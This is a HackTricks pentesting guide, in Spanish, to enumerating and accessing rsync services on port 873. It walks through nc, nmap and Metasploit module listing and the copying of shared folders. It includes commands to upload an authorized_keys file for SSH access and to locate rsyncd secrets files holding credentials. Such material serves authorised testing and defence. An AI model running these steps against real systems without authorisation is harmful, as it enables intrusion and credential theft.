873 - Pentesting Rsync

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Información Básica

De wikipedia:

rsync es una utilidad para transferir y sincronizar eficientemente archivos entre una computadora y un disco duro externo y a través de computadoras en red comparando los tiempos de modificación y tamaños de los archivos.[3] Se encuentra comúnmente en sistemas operativos tipo Unix. El algoritmo rsync es un tipo de codificación delta, y se utiliza para minimizar el uso de la red. Zlib puede ser utilizado para compresión de datos adicional,[3] y SSH o stunnel pueden ser utilizados para seguridad.

Puerto por defecto: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

Enumeración

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

Enumerando Carpetas Compartidas

Los módulos Rsync se reconocen como comparticiones de directorios que pueden estar protegidas con contraseñas. Para identificar los módulos disponibles y verificar si requieren contraseñas, se utilizan los siguientes comandos:

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Tenga en cuenta que algunas comparticiones pueden no aparecer en la lista, posiblemente ocultándolas. Además, el acceso a algunas comparticiones puede estar restringido a credenciales específicas, indicado por un mensaje de "Acceso Denegado".

Uso Manual de Rsync

Al obtener una lista de módulos, las acciones dependen de si se necesita autenticación. Sin autenticación, listar y copiar archivos de una carpeta compartida a un directorio local se logra a través de:

# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

Este proceso transfiere archivos recursivamente, preservando sus atributos y permisos.

Con credenciales, listar y descargar de una carpeta compartida se puede hacer de la siguiente manera, donde aparecerá un aviso de contraseña:

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

Para subir contenido, como un archivo authorized_keys para acceso, usa:

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

Para localizar el archivo de configuración de rsyncd, ejecuta:

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

Dentro de este archivo, un parámetro de secrets file podría apuntar a un archivo que contiene nombres de usuario y contraseñas para la autenticación de rsyncd.

Referencias

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated